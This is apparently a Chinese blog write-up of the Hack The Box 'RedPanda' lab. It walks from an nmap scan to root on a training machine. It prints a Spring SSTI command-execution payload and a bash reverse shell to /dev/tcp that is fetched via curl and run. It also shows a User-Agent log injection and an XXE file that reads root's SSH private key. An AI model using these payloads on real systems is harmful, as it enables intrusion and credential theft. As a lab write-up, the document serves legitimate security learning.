htb RedPanda复盘
FLow

信息搜集

1
2
3
4
5
6
7
8
9
└─# nmap -sS -p- --min-rate=2000 10.10.11.170
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-24 16:21 HKT
Warning: 10.10.11.170 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.170
Host is up (0.62s latency).
Not shown: 64603 closed tcp ports (reset), 930 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy

端口扫描扫到8080端口,直接访问,有个/search,然后目录扫描也能看到/stats,可以看到一些图片的路径,还有两个作者名字,还有一个可以生成xml文件(没什么敏感内容)的功能

然后看到网页源代码可以知道这个是个spring boot应用

主要针对这个search,尝试了sql注入,无果,后来看到了官方引导,才知道存在SSTI(下次应该自己试出来)

SSTI漏洞

输入*{8*7},回显56,验证了ssti漏洞,在hacktricks找个payload

1
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

可以命令执行

1
2
3
4
5
└─# cat /var/www/html/a.sh
/bin/bash -i >& /dev/tcp/10.10.16.14/8888 0>&1
编写payload
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl http://10.10.16.14:9999/a.sh -o /tmp/a.sh').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('bash /tmp/a.sh').getInputStream())}

成功拿到shell

靶机内信息搜集

/opt文件夹下面有挺多东西的,要耐心翻找

/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java文件里面能够看到woodenk用户的账号密码,拿去登陆ssh,可以成功

然后实在太多东西,我跑了linpeas和pspy,主要是pspy64,可以看到

root有执行有关final…的jar包,在/opt下面,woodenk用户还会定时删除xml文件

把jar包scp传输到本地,用jadx反编译了一下,看到了代码

代码审计

需要审计,这部分我就是参考别人的wp努力理解可以怎么利用漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while (log_reader.hasNextLine()) {
String line = log_reader.nextLine();
if (isImage(line)) {
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
}

main函数按顺序调用几个函数,都是在上文自定义的


1
2
3
4
5
6
7
8
9
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap();
map.put("status_code", Integer.valueOf(Integer.parseInt(strings[0])));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}

parseLog函数就是读取/opt/panda_search/redpanda.log,然后把里面的参数用|分割,再保存,形如

1
405||10.10.16.14||Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0||/error

然后再main函数返回那个叫uri的参数,后面要用


接着往下时getArtist函数

1
2
3
4
5
6
7
8
9
10
11
12
13
public static String getArtist(String uri) throws IOException, JpegProcessingException {
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for (Directory dir : metadata.getDirectories()) {
for (Tag tag : dir.getTags()) {
if (tag.getTagName() == "Artist") {
return tag.getDescription();
}
}
}
return "N/A";
}

这个函数先将/opt/panda_search/src/main/resources/static和uri参数拼接出一个路径,加载那张图片,然后使用JpegMetadataReader读取图片里面的详细信息,相当于exiftool,如果图片解析出来有Artist字段,就返回,如果没有就返回空


最后是addViewTo函数,path在main函数拼接好了,就是

1
/credits/" + artist + "_creds.xml //artist字段是前面函数返回的

这个函数主要是解析xml文件,增加图像的计数次数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void addViewTo(String path, String uri) throws JDOMException, IOException {
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for (Element el : rootElement.getChildren()) {
if (el.getName() == "image" && el.getChild("uri").getText().equals(uri)) {
Integer totalviews = Integer.valueOf(Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1);
System.out.println("Total views:" + Integer.toString(totalviews.intValue()));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews.intValue()));
Integer views = Integer.valueOf(Integer.parseInt(el.getChild("views").getText()));
el.getChild("views").setText(Integer.toString(views.intValue() + 1));
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}

这里就存在XXE漏洞,在网站点击导出表格的功能时,就会触发,而且在这里解析的文件路径path是可控的,我们可以通过控制uri的值,控制 artist

提权操作

1
exiftool shy.jpg -Artist="../home/woodenk/aaa"

先自己准备一张图片,用工具增加Artist字段,然后上传到靶机

1
2
3
4
5
6
7
8
9
10
11
12
woodenk@redpanda:~$ cat aaa_creds.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY pencer SYSTEM "file:///root/.ssh/id_rsa"> ]><credits>
<author>damian</author>
<image>
<uri>../../../home/woodenk/shy.jpg</uri>
<hello>&pencer;</hello>
<views>4</views>
</image>
<totalviews>4</totalviews>
</credits>

在靶机新建一个xml文件,里面使用到文件读取

1
curl http://10.10.11.170:8080 -H "User-Agent: ||/../../../../../../../home/woodenk/shy.jpg"

curl访问,增加字段到log文件,这一步是在控制uri

1
2
3
4
woodenk@redpanda:/opt/panda_search$ ^[[A
cat redpanda.log

200||10.10.16.14||||/../../../../../../../home/woodenk/shy.jpg||/

因为我们在UA头前面多插入了一个||,这样本来是第三个字段的ua头被我们控制成第四个,也就是uri

最后访问网址触发功能点

1
curl http://10.10.11.170:8080/export.xml?author=damian

等一会,再查看aaa_creds.xml,就能看到我们要读取到内容,接下来就是用id_rsa登陆root,结束。

总结

这个靶机还挺有意思的,第一次接触java的ssti,虽然这次是直接套payload,然后靶机内信息搜集也挺需要耐心的,代码审计触发xxe漏洞那块,一开始看wp还感觉很麻烦,自己写复盘一路顺下来才理解,学习了。

由 Hexo 驱动 & 主题 Keep